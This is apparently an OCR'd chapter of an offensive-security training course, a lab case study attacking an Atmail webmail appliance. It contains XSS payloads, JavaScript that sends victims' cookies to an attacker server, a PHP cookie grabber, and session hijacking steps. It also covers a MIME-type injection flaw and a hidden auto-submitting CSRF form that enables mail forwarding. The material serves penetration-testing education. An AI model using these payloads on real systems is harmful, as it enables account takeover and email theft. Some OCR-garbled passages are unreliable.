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1. Atmail Mail Server Appliance Case Study
As described by its vendor, the Atmail Mail Server appliance is built as a complete messaging platform for
any industry type’. Atmail contains web interfaces for reading mail and server administration, providing a

rich web environment and most interestingly, a large attack surface.

1.1 Getting Started
Set up and boot the Atmail Mail Server VMware image. The root password is toor. Make sure the VM
network interface is in "Host-Only" mode and then assign the VM an IP by typing dhclient ethe. Note

and write down the IP address of the Atmail VM. For demonstration purposes, our IP was 172.16.84.171.

The Atmail Webmail System has two different (but similar) web interfaces: one for webmail and the other

for administration. The following table provides links and credentials for both.

T e e ssword
Webmail http://atmail/index.php/mail admin@offsec.local 123456
Administration |http://atmail/index.php/admin admin admin

1.2 Web Related Attack Vectors

Depending on the nature of the mail server deployment, one of the easiest attack vectors in this scenario
would involve searching for XSS vulnerabilities in the web mail server interface. If any are found, simply
sending a malicious email to a victim would trigger a payload with little to no user interaction or social

engineering required.
1.2.1 Impact of XSS Attacks

Cross-Site Scripting attacks can be used to perform a wide spectrum of malicious operations against web

applications and their legitimate users.

In general, the main goal of an XSS attack is to impersonate a different user on a web application without
knowing the password by presenting attacker-controlled contents on the attacked domain, or by forcing

the victim browser into performing operations on the web application without the user’s knowledge.

1. http://atmail.com/linux-email-server/
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1.2.2 Types of XSS Attacks

There are three main types of XSS vulnerabilities: Reflected, Stored, and DOM (or runtime) XSS. It is vital
to understand the different incarnations of XSS attack vectors in order to later understand what finding,

testing, and exploitation method is best suited for each of them.

In some instances, this categorization can be mixed. For example, one could encounter a stored XSS that
occurs at runtime, essentially making it a stored DOM XSS. In general, in order to avoid creating confusion
and unnecessary security buzzwords, a decision should be made about the predominant property of the
attack, so a Stored DOM XSS should simply be referenced in a penetration test report as Stored XSS as the

primary aspect of the vulnerability is that it's permanent.

1.2.2.1 Reflected XSS

Reflected XSS is the most common and simple type of XSS vulnerability. The attacker has the ability to
write (reflect) an arbitrary string in the HTML response that is presented un-escaped and is then executed
by the victim's browser. Reflected XSS attacks are non-permanent and are generally triggered by the
sending of a particular link (for example, contained in an email message or a link in the application itself)
or by the visiting of an attacker-controlled website that forces the victim's browser to perform the request

in a Cross Site Request Forgery (CSRF) style of attack.

1.2.2.2 Stored XSS
Stored XSS vulnerabilities follow the same rules as Reflected XSS in terms of inputs and payloads but the
difference is that the sent string is saved by the application and sent to the clients even when the request

doesn't contain the payload.

The XSS can be permanent, meaning that once stored it's never removed until an explicit deletion action
is taken, or semi-permanent, meaning that it's presented to the client for a limited amount of time, based
on logic implemented by the application. This type of vulnerability is advantageous to attackers as the
payload can be injected once and affects all users that access the functionality that reflects the payload.
The most extraordinary examples of Stored XSS are XSS worms such as the one launched against MySpace

with the infamous Samy? worm.

2. http://en.wikipedia.org/wiki/Samy %28computer worm%29
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1.2.2.3 Document Object Model (DOM) XSS

Document Object Model Cross-Site Scripting, also called “Type-0 XSS” or “XSS of the third kind” in some
papers, is a very different form of XSS in that it is completely client-side in nature. The server handling of
data might even have no role in the presence of DOM XSS as both the vulnerable code and attack payload

are executed in the client browser. In fact, DOM XSS can even occur in static HTML files.

In general, some component of the page, usually JavaScript code, performs improper sanitization of user
controlled input, causing the cross-site scripting issue. There are two types of DOM XSS: the first is
automatic, where the exploit code is automatically triggered and the second is called “User Interaction

Based” and needs a specific action to be performed by the victim, such as clicking a link.

For inexperienced auditors, attackers, and developers, DOM XSS are harder to understand and locate, as
a higher degree of understanding of the JavaScript code used by the application is required. On the other
hand, the code is available and a code review approach can be used, in a similar manner to finding XSS in

Flash movies.
1.2.3 XSS Vulnerability Discovery

As with many web application security vulnerabilities, XSS relies on the fact that user input is not properly
validated and sanitized. Many automatic search and discovery tools exist that are able to identify various
attack vectors, not only XSS issues. The majority of these tools are divided into two main categories: the
first are automatic and are able to perform XSS discovery in an automated (or mostly automated) fashion,
similar to a vulnerability scanner. The second are manual (or mostly manual) tools that help the security
auditor spot XSS issues but need some parts of the process to be performed in an assisted or manual way.
Both categories of tools have advantages and disadvantages, with one of the primary advantages being

the ability to completely crawl the web application, seeing how many different technologies are involved.

While they shouldn’t be relied upon extensively, it is good practice to run automated tools after the
manual testing process is completed. This way, the auditor will learn from missed issues and guarantee

that the provided level of service is higher than if testing was done using automated scanning alone.

The first phase in discovering XSS vulnerabilities is to identify all possible vectors for attack including all
user-controlled data that ends up in dynamic (server-side) or JavaScript (client-side) generated content.
This can either be done by hand by browsing the site and looking for arguments that are passed into the

web application, or by using automated tools. To get the most benefit from this surfing and spidering
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phase, it is best to use an inspecting proxy that has the ability to log HTTP requests, allowing for later
analysis of the exported trace. When proxy chaining is not an option, auditors can resort to sniffers that

run inside the browser process as a plugin.

In order to successfully detect and exploit XSS vulnerabilities, you must first find the path between some
sort of attacker controllable data and a vulnerable output. The actualization of what is a vulnerable output
depends on the attack vector and the intended attack technique that the penetration tester wants to

apply.

A number of different tool exists that can help in this manual or semi-manual procedure, the single most
important one being the choice of browser. Firefox tends to be the best platform for manual web
application penetration testing due to the many security-oriented plugins available for it. Some of the

recommended plugins for evaluating XSS are the following:

o XSS Me? automatically performs XSS tests on all inputs and forms that are discovered on a page.

o HackBar” is an additional toolbar that can send GET and POST requests and encode/decode data
in many different formats.

o Groundspeed® is an add-on that allows you to manipulate the user interface to eliminate

limitations and client-side controls that interfere with testing.

While not specifically designed for security testing, there are three other extensions that are generally

useful when dealing with web applications:

o Firebug® is a development tool with many features that allow for the inspection and modification
of the DOM structure, edit cookies, inspect requests, run custom JavaScript code, and debug
errors.

o Web Developer’ is an extension that goes hand in hand with Firebug and is a must-have for any

web developer and penetration tester.

3. https://addons.mozilla.org/en-US/firefox/addon/xss-me/

4. https://addons.mozilla.org/en-US/firefox/addon/hackbar/

5. https://addons.mozilla.org/en-US/firefox/addon/groundspeed/
6. https://addons.mozilla.org/en-US/firefox/addon/firebug/

7. https://addons.mozilla.org/en-US/firefox/addon/web-developer/
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o JavaScript Debugger, or Venkman®, is a powerful JavaScript debugger with features such as the

ability to set breakpoints, step through code, etc.

In addition to the tools mentioned above, there are also some Greasemonkey® scripts that can be helpful

in discovering XSS issues and writing proof of concepts. Two of the more useful ones are:

o Postinterpreter': intercepts POST requests and allows for tampering with them

o XSS Assistant'’: an attacker's suite with many advanced features

Finally, but most importantly, is a decent proxy tool. We recommend BURP, the free edition, which comes
pre-packaged in Kali Linux. We will be using it in class so that we can, at a fine grained level, craft and

manipulate attack requests.

While conducting an initial assessment for XSS vulnerabilities in a web application, there are some key

points to keep in mind:

1. You will require tools and patience to perform a deep manual crawl of the application, identifying
all pages, functionalities, URLs, URLs rewrites, and REQUEST/COOKIE/GET/POST parameters.

2. While performing such tasks, no attacks should be performed in order to generate the cleanest
possible trace of requests that will be used as a reference.

3. Identify the user inputs that have an impact on the application and that are reflected, stored, or
handled by runtime code like JavaScript, Flash, Java, or any other third party technology.

4. Understand and hypothesize the flow and conditions to allow an entry point to reach an exit point.
When possible, decompile and code audit the components, running automatic tools afterwards
to find missed spots.

5. Use the gained experience to perform an accurate trial and error process that leads to marking
the vulnerability as exploited, creating evidence like a screenshot, and saving all the details

needed to reproduce the vulnerability.

8. https://addons.mozilla.org/en-US/firefox/addon/javascript-debugger/
9. https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/

10. http://userscripts.org/scripts/show/743

11. http://www.whiteacid.org/xss_assistant.user.js
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1.3 Attack Implementation

To successfully execute this attack, we require a tool that can send malformed emails to a given mail

server using various cross-site scripting payloads. The first obvious choice for these payloads would be

the ha.ckers.org XSS Cheat Sheet'?, on which we can build upon from various additional sources, such as
the HTMLS Security Cheat Sheet®.

Similar tools, such as Excess, by Scanit'* and Excess 2%, by Gremwell are also available to implement

fuzzing in this manner.

root@kali:~/xss# ./xss-webmail-fuzzer.py

BEE AR R R R B B R R R B A S R 44
FhddH4 XSS WebMail Fuzzer - Offensive Security 2012 HHEHHH
BHERAEA AR AR AR R B B B R R R B R BB R R S 4

Usage: xss-webmail-fuzzer.py -t dest_email -f from email -s smtpsrv:port [options]

Options:
-h, --help show this help message and exit
-t DSTEMAIL, --to=DSTEMAIL
Destination Email Address
-f FRMEMAIL, --from=FRMEMAIL
From Email Address
-s SMTPSRV, --smtp=SMTPSRV
SMTP Server
-c CONN, --conn=CONN SMTP Connection type (plain,ssl,tls
-u USERNAME, --user=USERNAME )
SMTP Username (optional)
-p PASSWORD, --password=PASSWORD
SMTP Password (optional)
-1 FILENAME, --localfile=FILENAME
Local XML file
-r REPLAY, --replay=REPLAY
Replay payload number
-P Replace default js alert with a custom payload
-j INJECTION, --injection-type=INJECTION
Available injection methods: basic_main, basic_extra,
pinpoint, onebyone_main, onebyone extra
-F PINPOINT_FIELD, ——injection—field=PINPOINT_FIELD

This option must be used together with -j in to
specify the E-Mail header to pinpoint. See the

EMAIL HEADERS global variable in the source to obtain
a list of possible fields

Run onebyone injections in interactive mode

Figure 1 - XSS Fuzzer Usage

12. http://ha.ckers.org/xssAttacks.xml

13. http://heideri.ch/jso/#46

14. http://www.scanit.be/uploads/excess.pl

15. http://www.gremwell.com/sites/default/files/excess2.pl_.txt
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We first login to the web email interface, start sending emails with malformed fields, and analyze the

emails through our web browser. To reduce the load of emails sent, we can start by injecting single

payloads into common email fields as shown below.

root@kali:~/xss# ./xss-webmail-fuzzer.py -t admin@offsec.local -f victim@offsec.local -
s 172.16.84.171 -c plain -j onebyone main -r 2

SRR R R R R R AR R R R R R R R R R R
e HH
EES I I IS ST SIS SR EAES SRS SRS EREREE

[*]
[+]
[+]
[+]
[+]
[+]
[+]

Using local xml file...
Replaying payload 2

Sending
Sending
Sending
Sending
Sending

email
email
email
email
email

Payload-2-SCRIPT
Payload-2-SCRIPT
Payload-2-SCRIPT
Payload-2-SCRIPT
Payload-2-SCRIPT

XSS WebMail Fuzzer - Offensive Security BHHHHEH

w/Alert () -injectedin-From
w/Alert () -injectedin-To
w/Alert () -injectedin-Date
w/Alert () -injectedin-Subject
w/Alert () -injectedin-Body

Figure 2 - Running the Fuzzer Against the Atmail Server

Black Hat USA 2016

Copyright © 2016 Offensive Security Ltd. All rights reserved. Page 17 of 174




ADVANCED WEB ATTACKS AND EXPLOITATION

Going through the received messages, we are immediately greeted with a JavaScript Alert “XSS” message.
Applications Places & @ [EJ Mon Jun 30, 12:01 PM & ® oot

admin@offsec.local - x

(@ @& 1721683129/
i A 2 Debia 2 L3
| % Apps @ Debig’arg @ Lf page at 172.16.83.129 says:

T Do you want Chromi

XSS

flete  More

L] nbox . e ayrvaumEse e vermrsnyyayesdedin-Date

| Drafts o Payload-2-SCRIPT w/Alent()-injectedin-Body

_ & Sent

&

= Spam

=

] Trash | Payload-2-SCRIPT wiAlert)-injectedin-Pa...

i s - ¥ Payload-2-SCRIPT wiAlert(-injectedin-Date
| Waiting for 172.16.83.129... : 1P Wi siecizdinDisle

¥ admin@offsec.local - ..

Figure 3 - XSS Vulnerability Found

From this simple test, we have discovered that the XSS occurs in the Payload-2-SCRIPT w/Alert()-

injectedin-Date email, suggesting the email date field may be polluted with JavaScript.

Let’s try a different payload (payload number 13), this time containing code for an iframe injection.
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root@kali:~/xss# ./xss-webmail-fuzzer.py -t admin@offsec.local -f victim@offsec.local -
s 172.16.84.171 -c plain -j onebyone main -r 13

BHEREE B R R R R R R R R R R R
e XSS WebMail Fuzzer - Offensive Security 2012 HHHHHEH
BHEEH B AF R R R R R R R R R R R R

[*] Using local xml file...

[+] Replaying payload 13

[+] Sending email Payload-13-IFRAME-injectedin-From
[+] Sending email Payload-13-IFRAME-injectedin-To

[+] Sending email Payload-13-IFRAME-injectedin-Date
[+] Sending email Payload-13-IFRAME-injectedin-Subject
[+] Sending email Payload-13-IFRAME-injectedin-Body

Fuzzing the Target with an IFRAME Payload

We notice that we received JavaScript popups from Payload-13-IFRAME-injectedin-Body and Payload-

13-IFRAME-injectedin-Date, which again suggests insufficient sanitization of these fields.
1.3.1 Course Work
Exercise: Atmail Document Cookie

o Use the Webmail XSS fuzzer to discover the vulnerable email fields in the Atmail server.

o Once you have discovered some, create a stand-alone script in your favorite scripting language,
which will send an email to the Atmail server admin user. To simplify the exercise, utilize the SMTP
engine provided by Atmail, using the victim email and password combination for SMTP
authentication. In a real world scenario, we would use our own SMTP engine, such as our
corporate email server, or Gmail.

o Send a payload that will cause a pop-up in the victim’s web browser containing the cookie of the
currently logged on webmail user. There is an interesting observation to make (and understand)

while inspecting this popup:
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atmail6=7vdcmkjgt5atcmsvOgud57nasl; atmailé_admin=iehdrpkgnohésrr21svs52r2us

Figure 4 - Retrieving the Cookie of the Logged in User

Questions:

1. Do you get similar cookie field values? Can you explain what is going on?
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1.4 Stealing Cookies and Hijacking Authenticated Sessions

Depending on any session protection mechanisms present in the Atmail server, we may now have the
ability to steal cookies and session information, with the goal of impersonating our victim and accessing
their webmail from a different location with no additional authentication required. To implement this, we
can choose either the Date field and inject JavaScript or an iframe, or the Body field, which only allows

for the use of an iframe, using the default payload.

To make this attack as discrete as possible, our payload will call an external JavaScript file, which will be
hosted on our “Attacking Webserver”. For the purposes of this example, our attacking webserver has the

IP address of 172.16.84.158.

We alter our PoC document.cookie payload to call an external JavaScript file called atmail-session.js as

follows.

msg += 'Date: <script src="http://172.16.84.158/atmail-session.js "></script>\n' J

Figure 5 - Altering the PoC to Call an External JavaScript File

Our secondary JavaScript payload will call a fake image from the attacking web server page. The URL of
this image will contain the victim’s cookie and document location. Upon opening our malicious email, the
victim’s browser should then attempt to call this fake image from our attacking web server, while sending

us the cookies and document location.

function addThelImage () {
var img = document.createElement('img');
img.src = "http://172.16.84.158/atmail-sess.php?c="+document.cookie;
document .body.appendChild (img) ;

}

addThelImage () ;

Figure 6 - JS Code to Have the Victim Send its Cookie While Retrieving an 'Image’

We can either monitor the web server logs for the resultant session and cookie information, or write a

small PHP script to collect the session information.
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<?php

$ip = $_SERVER['REMOTE_ADDR'];

$c = $_GET('c'];

Sreferer = $_SERVER['HTTP_REFERER'];
Sbrowser = $_SERVER['HTTP_USER_AGENT'];

$data = "IP: " . $ip . "\n"."Cookie: " . $c . "\n";
."Referrer: " . $referer . "\n"."Browser: " . S$browser . "\n\n";
$log = "/tmp/atmail-cookies.txt";

@chmod ($1log, 0777);

$f = fopen($log, 'a');
fwrite($f, $data):;
fclose ($£);

?>

Figure 7 - Our Cookie Grabber Source Code

Once all of the elements needed for this attack are aligned and in place, we send the malicious email while

watching our attacking web server Apache logs as well as the atmail-cookies.txt file. The results should
look similar to the following.

172.16.84.,158

3 - "GET /atmail-sess.php?c=atmailé=nhS5tbenu75v57kil6adpd49393 HTTP/1.1"
200 293 "http://172.16.84..71/index.php/mail/" "Mozilla/5.0 (X11l; Linux i686 on

x86 64; rv:10.0.2) Gecko/20100101 Firefox/10.G.2"

Figure 7 - The Cookie Retrieval as Seen in the Apache Logs

While the cookie stealer should present this data in a far more readable format.

root@kali:/var/www# cat atmail-cookies.txt

IP: 172.16.84.1

Cookie: atmailé=46iku8f3uk9of24psentih5nj7

Referrer: http://172.16.84.171/index.php/mail

Browser: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.19 (KHTML,
like Gecko) Chrome/18.0.1025.163 Safari/535.19

Figure 8 - The Contents of our Cookie Grabber File
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We can now add this cookie data into our favorite cookie editor and insert the freshly received cookies.

Edit Cookle+

Name: M | atmail6

Content: ¥ {fe&pkogvi?28bvqgk4jp8i8c56

Host: ¢ }172.16.83.129

Path: M { /

Send For: ¢ l Any type of connection o

Http Only: @ [No < |

A

Expires: at end of session ¢ J

Close

Figure 9 - Editing our Cookie to Hijack the Victim's Session
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Once we try to browse to the referring document location, we should be greeted with unrestricted USER
access to the webmail system for as long as the sessions stays active. This means that if the victim should

logout or otherwise have his session destroyed, this would terminate your web access too.

Applications Places & @ [ Mon Jun 30, 12:42 PM

admin@offsec.local ~ Webmail - lceweasel
File Edit View History Bookmarks Tools Help
(3t admin@offsec.local - Webmail | & §

& | @& 172.16.83.129/index.php/mail | - v @ (B o

i Most Visitedv Pl Offensive Security '\ Kali Linux ' Kali Docs EBExploit-DB % Aircrack-ng

¥: Contacts Seftings P SearchMail.. ~ @ SignOut «

Lo

GetMail G5 Reply 461

INBOX - You haz been pwnd

.l admin@ofisec.local

Drafts
You haz been pwnd admin@olffsec local
o Sent 5
= Spam Oh noez, you besn had.
T Trash Tl admin@offsec.local

You haz been pwnd

4+

Figure 10 - The Victim Session Successfully Hijacked

1.4.1 Course Work

Exercise: All Your Email is Belong to Us

o Recreate the attack described above. Attempt to login to the administrator’s email account from

your attacking machine by stealing the administrator’s cookies using the vulnerabilities previously
found.
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Questions:

o The example code logs victim’s cookies into a log file, is it possible to change this into an even

more automated attack? If so, how would you approach it?

1.5 When Your Vulnerability Scanner Doesn't Find Vulnerabilities!
Often a vulnerability cannot be identified via a vulnerability scanner. No matter how comprehensive a

vulnerability scanner, fuzzer, or automated fault detection tool is, it is bound to fail eventually.

You may or may have not noticed, but the Atmail software is built using a Model, View, Controller software
design pattern (MVC). This type of design model provides new developers quick understanding of the
environment and can aid in extending the code base very quickly. Using this information, we can begin to
audit the source code very efficiently and turn the approach from penetration testing into security

research for completeness.

The great thing about this is that often you will uncover deep systemic vulnerabilities that cannot be
detected by automated tools (black-box vulnerability scanners or automated source code analysis tools)
so that you will have an advantage over your target.
1. Model
Typically, a model is used to store the data in a particular way. This can be an abstract
representation of database stores.
2. View
In general, a view generates the content that the user sees. It is the final result from all the server
side processing.
3. Controller
Typically, here is where the entry points are to the application. The code here processes logic that
is applied to the application. Source code auditing will occur in here.
4. Libraries

Libraries can contain code for various functions that are exposed to the Controller, View, and

Model. However, the code should only be processed by the controllers since the business and
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application logic should never be reached directly. Deep systemic vulnerabilities often lurk in this

part of the code since functions can be called multiple times from the controllers.

We are going to walk through a vulnerability that is very hard (if not impossible) to detect via automated

tools. This vulnerability is triggered by uploading malicious content via a crafted email. Let’s go through

how to trigger it.

a admbvaoffsecdocal... - Mozilla Firefox

3t admin@offseclocal.. x 4

€ 0 @ 172.16.108.1304ndex shpimais

Sign Out  »& |

hello sir!

Drafts & " File Upload

3 7o mr me@offensive-security.com
L= Sent 2 bt i A

Subject:

Recent o
Recent 4 fsseeley offsec uploads

Home

hello sir!

©
4y

| @ Desktop
) Documents

\» Downloads

&

Music

B3 Pictures

8 Videos

All Fles =

Edopen

Add Attachment sDraft | Send Email

Figure 11 — Attaching a the poc file

First, we create an email and add an attachment “offsec.poc”. The file contains the following code, you

can of course, change it later. The filename extension will become apparent later.

<script>alert (document.cookie)</script>

Figure 12 - Simple Alert Test Code

Now, for the purpose of this demonstration, we will send the email. You can use an arbitrary email
(nonexistent) in a real life attack scenario if the SMTP gateway is configured to avoid suspicion. Then we

will go and view it in the sent folder.
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admin@offsec.local - Webmail - Mozilla Firefox

{3t admin@offseclocal - .. x | %

& & & 172.16.108.130index phpimail#

B Contacts Compose x

El Settings

Y GetMall g{'asgp@  4.Reply Al i Forward

£ inbox Sent - hello sir!
Drafis v mr_me@offensive-security.
hello sirl To: mr_me@offensive-securitycom U 2 & v

Email sent using Atmail - Email, Groupware and Calendaring done right

if Trash

Figure 13 ~ XSS file uploaded, we have script execution in the context of the domain

We can see that the sent mail has a link to “view” the attachment. This URL looks like this:

http://<atmail>/index.php/mail/viewmessage/getattachment/folder/INBOX.Sent/uniqueld/2
1/mimeType/YXBwbG1ljYXRpb24vb2N0ZXQtc3RyZWFt/filenameOriginal/offsec.poc

Figure 14 — Reaching our injected script code from remote

By viewing the sent email, the back end code will create a file on the target machine. Login via ssh to the
atmail test machine and cd to /usr/local/atmail/webmail/tmp/a/d/adminoffseclocal/ where you will

see the following files.

Figure 15 — Our script code has landed!
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Note that file is named “INBOX.Sent21offsec.poc” and contains our script code. Now let’s trigger the

vulnerability to test it. Browse to the following URL:

http://<atmail>/index.php/mail/viewmessage/getattachment/folder/INBOX. Sent/uniqueld/
21/mimeType/dGV4dC90dGls

Figure 16 — Remotely set the Mime Type {our vulnerability)

Bt admin@nffssclocal - .. % Atmai %/ { Connecting... X g

§ & 172.16.108.130/nde < phammaliienessager et ot scinant folder INB X S antanau sl L e irna Trp e/ dOVAs oG 1o hlerarr songnaiiifsec poc X search

atmails=trzern3ot226nadlgmb3rme1jso

Figure 17 — Triggering the vulnerability!

So, you may be thinking, where is the vulnerability in the code? Do you remember what we mentioned

before about MVC? Well suppose we have the following URL:

http://<atmail>/index.php/mail/viewmessage/getattachment/folder/INBOX.Sent/uniqueld/
21/mimeType/dGV4dC

Figure 18 - MVC style URL

This is how it would be mapped to the application:

http://<atmail>/index.php/mail/[controller]/[function]/ [paraml] /[valuel]/[param2]/[v
alue2] /[param3]/[value3]

Figure 19 — How MVC Style URL’s work

We can see that when we start viewing the controller code, creating PoCs to test code, it should be

somewhat easy for the security researcher.
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Where is the controller code? Since the URL is using the 'mail' directory, we could start by looking at that
folder on the server. Starting in the /usr/local/atmail/webmail/application/modules folder, we can see
that there is a 'mail' folder there. Issue the following command (use vi/emacs if you want) from this

modules folder:

[root@localhost modules]# nano mail/controllers/ViewmessageController.php

Figure 20 — Viewing the Controller

Since we are interested in the function “viewmessage”, this is the controller that handles the code. The
function we are interested in is “getattachment” which is actually mapped to “getattachmentAction”.

Scroll down to this function:

public function getattachmentAction ()
{
$this-> helper->viewRenderer->setNoRender () ;
$requestParams = $this->getRequest ()->getParams();
$requiredArgs = array('folder', 'uniqueld', 'filenameOriginal');

foreach( SrequiredArgs as $requiredArqg )
{
if( larray key exists( S$requiredArg, $requestParams) )
{
throw new Atmail Mail Exception('invalid call to
getattachment Action: required request argument missing: ' . $requiredArg);

}

}

$tmpFolderBaseName = users::getTmpFolder();
$filenameOriginal = urldecode( S$requestParams(['filenameOriginal'] );
//UTF-8
$folderUTF7 = urldecode (SrequestParams['folder']);
if( array_key exists('mimeType', $requestParams) )
{
$mimeType = base64_decode( $requestParams['mimeType'] );

}

Figure 21 — Analyzing the Mime Type control Vulnerability

The code ‘getParams()’ function simply populates the ‘requestParams’ array with user supplied values.
The first part of the code checks that the user has supplied the 3 required parameters, ‘folder’, 'uniqueld’
and 'filenameOriginal'. Then the code does something funky: it checks for the supplied 'mimeType'

variables presence and then base64_decodes it. Where is this variable used?
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if( file exists($filename) )
{
$this->log->debug( _ METHOD__ . ' #' . _ LINE . ":
Attachment found on disk");

if( array key exists('mimeType', S$requestParams) )
{
header ("Content-Type: " . SmimeType );
$contentType = $mimeType;
}

Figure 22 - The content type header is set from user controlled input

The code then checks to see if the built up ‘filename’ variable exists on the server and proceeds to set the

Content-Type header using our controlled ‘mimeType’ variable. Boom! ODay!

In summary, this vulnerability is useful to an attacker because they can host a complete HTML file with
JavaScript content and have it executed from the domain. This is powerful because no outbound request

is made for malicious JavaScript giving an apparent trusted URL.
1.5.1: Course Work
Exercise: Embedded Malicious Links

Recreate the above example and use the cookie stealer that we saw in section 1.4. If you can, try to
improve the cookie stealer. Embed the malicious link within an email and email the admin, login as the

admin, and see the cookie theft.
Questions:
o What changed in the URLs? Is there anything else the attacker may be able to influence?
o Why did we use an arbitrary extension?
o What other vulnerabilities may or may not be present depending on the PHP version?
o Isthe $filename protected from arbitrary file disclosure and if so, how?

o Can you find other vulnerabilities by looking at other controller code directly and mapping user

functionality to the application?
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1.6 Cross Site Request Forgery 101
The most important feature of CSRF is its ability to perform attacker-defined requests over an already
established authentication session, called session riding, meaning that an attacker uses the victim session

to execute a certain action on the target web application that usually requires authentication.

The impact of CSRF varies greatly with the action, such as monetary loss if an attacker is able to execute
transactions through CSRF on a home banking application. It can lead to reputation damage if the attacker
forces a user to post messages or images of questionable content (for example pornography or misleading
information) to social applications, or even to legal consequences by making victims access illegal content
or by making malicious requests to 3rd parties, for example government websites, triggering IDS/IPS

systems with fake or real attacks.

CSRF attacks can also lead to information disclosure, as it's possible to perform port scans on the victim's
local subnet by using timing techniques. Requests from the Internet to the local network that would

normally be blocked by perimeter devices are feasible using CSRF, making the browser act as a proxy.

Any application that does HTML code rendering might be at risk to CSRF. For example, email clients may
be susceptible to this kind of attack via a remote image inside an email message allowing an attacker to
carry out a CSRF attack or track the user. For this reason, modern email clients usually disable content

that is hosted on remote sites in HTML rich email messages.
There are three main scenarios where CSRF is useful:
1. The application doesn't perform checks or authentication

When an application exposes a potentially harmful function to any Internet user, that function
can be reached simply by knowing its invocation method. This is the simplest scenario and while
it could be argued that the attacker could perform the request on their own, there are cases

where it's useful to force the victim to issue the request.
2. The application requires authentication

If the application’s functionalities are protected by authentication, any request issued by an
already authenticated user to the application, regardless of its source, will be sent together with

the needed authentication tokens.
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This happens because browsers internally store and automatically supply authentication
information (in terms of cookies, NTLM, digest or basic authentication tokens, etc.) depending on

the destination.

This allows a non-authenticated attacker to perform a CSRF attack as the authenticated user, who
will send the request to the web application in the context of his already open user session. This
is very similar to what happens in an XSS attack, but without the problems associated with input

filtering and escaping.
3. The application or device belongs to a private IP class or non-routable IP

Private IP address space behind NAT, public IPs misused as private ones, and non-routable IP
addresses are not reachable from the Internet, making exploitation of issues present on devices,
appliances, and web applications inside a corporate network impossible. Or at least this is what
most IT network engineers believe. The reality instead is that feature-rich software like browsers

can effectively act as a proxy between attackers on the Internet and corporate private networks.

1.6.1 Types of CSRF Attacks

Fundamentally, there is only one type of CSRF attack and it is considered to be a server-side class or
subclass vulnerability because the issue is present when checks are not made to verify the source of a

particular request.

Some papers*® suggest a separation between Reflected and Stored CSRF (similar to XSS categories) but
this is misleading as well as technically incoherent. In such papers, the Stored CSRF occurs when the
application itself allows the storage of a malicious link (“or other content”), that if clicked (or visited) will
trigger the attack. Reflected CSRF is when the application doesn't allow memorization and the attack has

to come from an external website or an email message.

This sort of distinction is incorrect since the ability of the web application to store an incorrectly escaped
string has nothing to do with the CSRF vector. If these sorts of problems are present, we are usually facing

a much higher impact issue. The CSRF vulnerability has to do with how requests, connected to actions,

16. http://www.isecpartners.com/files/CSRF_Paper.pdf
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are processed by a web application. If one is able to trick a user into performing an action without them

knowing about it, then that particular web application is vulnerable to an attack.
1.6.2 CSRF Vulnerability Discovery

To carry out a successful CSRF attack, we must first identify the action we would like to see replicated by
an unwitting user. Clearly, this action must be of interest to the attacker as there is no point in having a
user unknowingly search for a certain keyword using a website search functionality although it might be

interesting to place a bank transaction request.

In order to verify if a web application is vulnerable to CSRF, the easiest way is to simply execute the desired
action with the browser while keeping track of the HTTP requests that are made by using tools such as
Live HTTP Headers or an intercepting proxy. Once the request has been intercepted, the attacker must
then verify if it can be replayed and then alter some components of it to simulate the real conditions of a

CSRF attack.

A general rule of thumb is that if a request requires information that the attacker cannot know or guess,

the vulnerability is likely not present.

1.7 Better Email Snooping Through CSRF

As a result of our previous attack, we are now able to run JavaScript code or include an iframe in the
context of the victim’s browser. Depending on any anti-CSRF measures present in Atmail, we may be able
to invoke actions in the same context as the user. For example, we could try to create an email filter,

enable mail forwarding, or change the user’s password.
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Figure 23 - Investigating the User Email Settings
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As a proof of concept, we will attempt to enable forwarding of all emails received by the victim to our

own attacker email address. In order to trigger this event, we must inspect the HTTP requests sent to the

web application when enabling the email forwarding functionality. We can do this using the Firefox

Tamper Data®’ plugin.

Tamper Popup

http://172.16.83.129/index.php/mail/settings/mailsave

Request Header...

Request ... Post Parameter ..,

Host

User-Agent

Accept

| Accept-Lanquage
Accept-Encoding

Content-Type
X-Requested-With

Referer
Content-Length

Cookie

i

| enableForward enabled

N

| 9zip. deflate }

ST
| application/x- |

-

p——————
% XMLHttpReqt|

§ atmaitcs:no?i,j

| Forward § attacker%40offsec.l

Cancel ; i oK

Figure 24 - Using Tamper Data to View the Required Parameters

In this case, we can see that in order to enable email forwarding, a POST request is sent with 3 parameters:

save, enableForward, and Forward.

By having our initial email payload invoke an iframe and populating that iframe with a self-submitting

POST form, we should be able to enable forwarding on the victim’s email account with no user interaction.

msg += 'Date: <iframe src="http://172.16.84.158/atmail-csrf.html"></iframe>\n'

Figure 25 - The Edited PoC to Launch the CSRF Attack

The self-posting html form would look similar to the following:

17. https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
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<html>
<body onload="attack()">
<script>
function attack() {
document.getElementById('hidden_form').submit();
}
</script>
<form id="hidden_form" name="hidden form" method="post"
action="http://172.16.84.171/index.php/mail/settings/mailsave">
<input type="hidden" name="save" value="1" />
<input type="hidden" name="enabled" value="enabled" />
<input type="hidden" name="Forward"
value="attackerQoffsec.local" />
</form>
</body>
</html>

Figure 26 - The Contents of the Self-Posting HTML Form

Once the html form is properly hosted on our attacking web server, we can send the iframe payload. After
the email is opened, the Apache logs should show something similar to the following entry, with the HTTP

200 code indicating success in injecting our iframe.

172.16.84.158 -"GET /atmail-csrf.html HTTP/1.1" 200 212
"http://172.16.84.171/index.php/mail"™ "Mozilla/5.0 (X11l; Linux i686 on x86_64;
rv:10.0.2) Gecko/20100101 Firefox/10.0.2"

Figure 27 - Our Apache Logs Show a Successful Request
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Upon inspecting the victim’s web user interface, we now see that all emails received by the victim will be

forwarded to the provided email address. Success!

] Webmalil Settings Mail Opticﬁs

¢ Email Filters Bkt
na rwar

e

L& mail Options

Forward mail | ‘
£Y Change Password |attacker@offsec.local |

pup— e

Autoreply message

Figure 28 - The Result of the Successful CSRF Attack

1.7.1 Course Work
Exercise: All Your Email is Forwarded to Us

o Recreate the attack described. Attempt to execute a CSRF attack against the administrative user’s
email and cause the victim’s emails to be forwarded to an address of your choosing.

o Create a CSRF attack to disable the forward!

DO NOT FORGET TO DISABLE THE FORWARD ONCE YOU FINISH. Unnecessary mistakes in future sections

will be greeted with a very public smack down!

Questions:
o How might a developer protect against this vulnerability class?
o How may an attacker bypass the protection?

o Why wouldn't we use AJAX payloads to send the malicious request?
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1.8 Research, Research, Research

Researching the targeted application is a critical starting point in any vulnerability analysis. Depending on
